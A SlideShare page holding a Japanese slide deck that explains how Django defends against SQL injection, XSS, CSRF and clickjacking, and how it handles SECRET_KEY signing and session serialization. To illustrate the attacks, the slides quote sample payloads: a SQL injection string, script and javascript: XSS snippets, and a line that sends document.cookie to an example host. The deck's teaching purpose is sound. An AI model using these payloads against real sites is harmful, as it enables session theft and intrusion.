SlideShare a Scribd company logo
Djangoのセキュリティとその実装
はじめに
• 開発時にDjangoのセキュリティを気にするこ
とは少ない
– 大体何もやらなければ安全になる
– 実際にはどうやって実装されているのか
SQL Injection
• なんぞや
– SQLを動的に生成する箇所に意図しない動作を
混入させる
– ' OR 1=1; --'
SQL Injection
• 対策
– プレースホルダーを使う
– 勝手にエスケープされる
XSS
• なんぞや
– ユーザーの入力を表示するWebアプリにスクリプ
トを注入する攻撃
• <script>alert(1)</script>
– 典型的にはsession idを読みだす
• document.location=‘http://example.com’+document.co
okie
XSS
• そもそも他サイトのsession idは何故読み出せ
ない?
– 同一生成元ポリシーと呼ばれるブラウザ側の実
装
– 簡単にいえば同じサイトでなければそのcookieな
どのリソースを読めない
• iframeなどでも同様
– XSSはこれをバイパスする
XSS
• 対策
– 適切なエスケープをする
XSS
• JSの場合はもう少し複雑なエスケープをする
必要がある
– 動的にJSを生成する場合
– 実体参照をしても解釈される
– Unicodeコードポイントを埋め込めばエスケープさ
れる
– escapejs filter
XSS
XSS
• URLベース
– Javascriptスキームのサイトにredirectさせるケー
ス
– Javascript:alert(1)
– http/https以外のスキームを許容しない
XSS
CSRF
• なんぞや
– リンクを踏ませるなどしてユーザーの意図しない
リクエストを行う
– DjangoではPOST, PUT, DELETE, CONNECTでCSRF
対策を行っている
CSRF
• 対策
– {% csrf_token %}
– csrfmiddlewaretokenというフィールドをhiddenで
埋め込む
– csrftokenというフィールドをcookieに埋め込む
– POSTされてきたタイミングで両者が同じ値か
チェック
CSRF
CSRF
CSRF
CSRF
CSRF
CSRF
CSRF
クリックジャッキング
• なんぞや
– 攻撃者のページの上に透明なiframeを重ねて、
意図しないままにボタンをクリックさせたりする手
法
– この方法ならユーザーが直接クリックするので
csrftokenを回避できる
クリックジャッキング
• 対策
– そもそもiframeで呼ばれないようにしちゃおう
– X-Frame-Options
• SAMEORIGIN
– 同一オリジンポリシーに則りロード可能とする
– Djangoはデフォルトこっち
• DENY
– 問答無用でロード不可とする
クリックジャッキング
SECRET_KEY
• Startprojectした際にget_random_secret_key()
で生成する
– 内部ではurandom()を使っている(Ubuntuの場
合)
– 暗号論的擬似乱数生成器
SECRET_KEY
SECRET_KEY
• Urandomに対応していない時にSECRET_KEY
を使う
– こっちはあんまり重要ではない
• 認証!!!!!
SECRET_KEY
• 認証とは?
– データの改竄を検出する
– Hash(salt + message)?
• 実は安全ではない(length-extension attack)
• Hmacを使う
SECRET_KEY
• Sessionの保存時に認証を掛ける
– 符号化形式は
• Pickleベース
– 1.5.2以前ではデフォルト
– 改ざんされると任意コードを実行できる
• Jsonベース
– 改ざんされても任意コードは実行できない
SECRET_KEY
1.8xで追加される機能
• SecurityMiddleware
– リクエストにセキュリティに関係するヘッダを追加
• x-xss-protection
– ブラウザのXSSフィルターを有効化する
• x-content-type-options
– Contentからのファイル内容の推測を抑制する
– 古いIEでは不正な画像ファイルなどからスクリプトを埋め込め
た
• strict-transport-security
– httpsのサイトにhttpでアクセスしようとし時にリダイレクトせず
に直接httpsでアクセスする。
1.9xで追加される機能
• password_validation
– 以下の条件を満たすパスワードは作れない
• 8文字未満(デフォルト)
• 数字だけ
• よくあるパスワード1000選
• ユーザーの任意のattributeと編集距離が小さい
– 1.11に上げた時にハマるかも?
• Settingsで無効にすれば良い
まとめ
• 明示的に表記する必要があるケース
– Javascriptを動的生成する時
• Escapejs filter
– AjaxでPOSTする時
• Viewにcsrf_exemptを付けるのはやめよう
• HTTP_X_CSRFTOKEN
– Djangoのバージョンが1.5.2以前の時
• JSONSerializerを使うようにする
– Djangoのバージョンが1.3以前の時
• Redirect先をユーザーが指定できないようにする

More Related Content

PPT
สารสนเทศ
Dorothy Auei
 
PPTX
THETA プラグインで WebRTC やってみた
Hideki Shiro
 
PDF
WebRTC開発者向けプラットフォーム SkyWayの裏側
Yusuke Naka
 
PPTX
トランクベース開発を活用して爆速に開発した話
Tier_IV
 
PDF
โครงงานพัฒนาเกม
kimaira99
 
PPTX
คุณธรรมส่งผลต่อการเกิดปัญหาในโลกปัจจุบันอย่างไร
name05my
 
PDF
10分でわかったつもりになるlean start up ~リーンスタートアップって何ですか?~
圭 進藤
 
PDF
実践リーンエンタープライズ(20161027)
Masanori Kado
 
สารสนเทศ
Dorothy Auei
 
THETA プラグインで WebRTC やってみた
Hideki Shiro
 
WebRTC開発者向けプラットフォーム SkyWayの裏側
Yusuke Naka
 
トランクベース開発を活用して爆速に開発した話
Tier_IV
 
โครงงานพัฒนาเกม
kimaira99
 
คุณธรรมส่งผลต่อการเกิดปัญหาในโลกปัจจุบันอย่างไร
name05my
 
10分でわかったつもりになるlean start up ~リーンスタートアップって何ですか?~
圭 進藤
 
実践リーンエンタープライズ(20161027)
Masanori Kado
 

What's hot (20)

PDF
๒๐ มหาปรินิพพานสูตร มจร ตอนที่ ๖.pdf
maruay songtanin
 
PDF
つくらない ものづくり ~明日からできるリーンスタートアップ~
圭 進藤
 
PDF
Y Combinator 創業者 Paul Graham からのスタートアップへのアドバイス(スタートアップが迷った時に読む Paul Graham から...
Takaaki Umada
 
PDF
はじめてのリーンスタートアップ
Lean Startup Japan LLC
 
PDF
コミック系アプリの分析とマーケティング戦略について
株式会社メタップスホールディングス
 
PDF
本当は怖いBAD UIの話
Shinsuke Kubo
 
PDF
Macro trends in sponsorship through 2030
Andrés Enrique Balé
 
PDF
マイニング・インタビュー・パターン
Takashi Iba
 
PPTX
Webサイト改善の手順
Ptmind_jp
 
PDF
Marketing Your Open Source Project
deirdrestraughan
 
PPTX
結果を出すチームビルディング術
Mao Ohnishi
 
PPTX
10年以上Java屋してたおっさんが 今年からフロントエンジニアやっている話
takehiko yoshida
 
PDF
SQuaRE に基づくソフトウェア品質評価枠組みと品質実態調査
Hironori Washizaki
 
PDF
明日から使えるグラフィックレコーディング入門 How Graphic Recording
Satomi Wanami
 
PDF
ミルクシェークの物語
ビジネスイノベーションハブ
 
PPTX
元外資コンサルによる戦略的プレゼン資料作成講座〜二日間集中講義
資料作成トレーニング Rubato(ルバート)
 
PDF
What is Enterprise Agile
Kenji Hiranabe
 
PDF
虎の穴ラボ エンジニア採用説明資料 .pdf
虎の穴 開発室
 
PPTX
「仕訳重複チェック機能」のご案内
Money Forward, Inc.
 
PDF
ソースコードレビューのススメ
KLab Inc. / Tech
 
๒๐ มหาปรินิพพานสูตร มจร ตอนที่ ๖.pdf
maruay songtanin
 
つくらない ものづくり ~明日からできるリーンスタートアップ~
圭 進藤
 
Y Combinator 創業者 Paul Graham からのスタートアップへのアドバイス(スタートアップが迷った時に読む Paul Graham から...
Takaaki Umada
 
はじめてのリーンスタートアップ
Lean Startup Japan LLC
 
コミック系アプリの分析とマーケティング戦略について
株式会社メタップスホールディングス
 
本当は怖いBAD UIの話
Shinsuke Kubo
 
Macro trends in sponsorship through 2030
Andrés Enrique Balé
 
マイニング・インタビュー・パターン
Takashi Iba
 
Webサイト改善の手順
Ptmind_jp
 
Marketing Your Open Source Project
deirdrestraughan
 
結果を出すチームビルディング術
Mao Ohnishi
 
10年以上Java屋してたおっさんが 今年からフロントエンジニアやっている話
takehiko yoshida
 
SQuaRE に基づくソフトウェア品質評価枠組みと品質実態調査
Hironori Washizaki
 
明日から使えるグラフィックレコーディング入門 How Graphic Recording
Satomi Wanami
 
ミルクシェークの物語
ビジネスイノベーションハブ
 
元外資コンサルによる戦略的プレゼン資料作成講座〜二日間集中講義
資料作成トレーニング Rubato(ルバート)
 
What is Enterprise Agile
Kenji Hiranabe
 
虎の穴ラボ エンジニア採用説明資料 .pdf
虎の穴 開発室
 
「仕訳重複チェック機能」のご案内
Money Forward, Inc.
 
ソースコードレビューのススメ
KLab Inc. / Tech
 
Ad

Viewers also liked (20)

PDF
ぼくのかんがえたさいきょうの Rails スタートダッシュ
Kenji Mori
 
PDF
あなただけにそっと教える弊社の分析事情 #data analyst meetup tokyo vol.1 LT
Hiroaki Kudo
 
PPTX
Django/Celeyを用いたデータ分析Webアプリケーションにおける非同期処理の設計と実装
Satoshi Nagayasu
 
PDF
Djangoのススメ
Alisue Lambda
 
PDF
Pythonによるwebアプリケーション入門 - Django編-
Hironori Sekine
 
PPTX
Evan Shegog Slide Presentation Sigma Xi Research Showcase 2014
evanshegog
 
PPTX
Gta 5
Brandon Aaron
 
PPTX
Presentation
H00228079
 
PDF
Dung si Monti - Ep 03
Dung si Monti
 
PPTX
Декада
yury_chica88
 
PPTX
Фонд социальной защиты населения Республики Беларусь
yury_chica88
 
PPT
Foton sayma tekniklerikursat
Ahmet Kürşat Bilgili
 
PDF
Dung si Monti - Ep 02
Dung si Monti
 
PDF
Hi-Lok Installation
Gary Tomkinson
 
PDF
Inspiration from the Future Present - Joel Tarver [Energy Digital Summit 2015]
Energy Digital Summit
 
DOCX
Мат сайт
Х. Долгоржав
 
PPTX
Molodechno trade economics college
yury_chica88
 
PPT
Kbm 1 fiqh bab 12
putraisya
 
PPT
Area and perimeter (1)
Mari QZ
 
ぼくのかんがえたさいきょうの Rails スタートダッシュ
Kenji Mori
 
あなただけにそっと教える弊社の分析事情 #data analyst meetup tokyo vol.1 LT
Hiroaki Kudo
 
Django/Celeyを用いたデータ分析Webアプリケーションにおける非同期処理の設計と実装
Satoshi Nagayasu
 
Djangoのススメ
Alisue Lambda
 
Pythonによるwebアプリケーション入門 - Django編-
Hironori Sekine
 
Evan Shegog Slide Presentation Sigma Xi Research Showcase 2014
evanshegog
 
Presentation
H00228079
 
Dung si Monti - Ep 03
Dung si Monti
 
Декада
yury_chica88
 
Фонд социальной защиты населения Республики Беларусь
yury_chica88
 
Foton sayma tekniklerikursat
Ahmet Kürşat Bilgili
 
Dung si Monti - Ep 02
Dung si Monti
 
Hi-Lok Installation
Gary Tomkinson
 
Inspiration from the Future Present - Joel Tarver [Energy Digital Summit 2015]
Energy Digital Summit
 
Мат сайт
Х. Долгоржав
 
Molodechno trade economics college
yury_chica88
 
Kbm 1 fiqh bab 12
putraisya
 
Area and perimeter (1)
Mari QZ
 
Ad

Djangoのセキュリティとその実装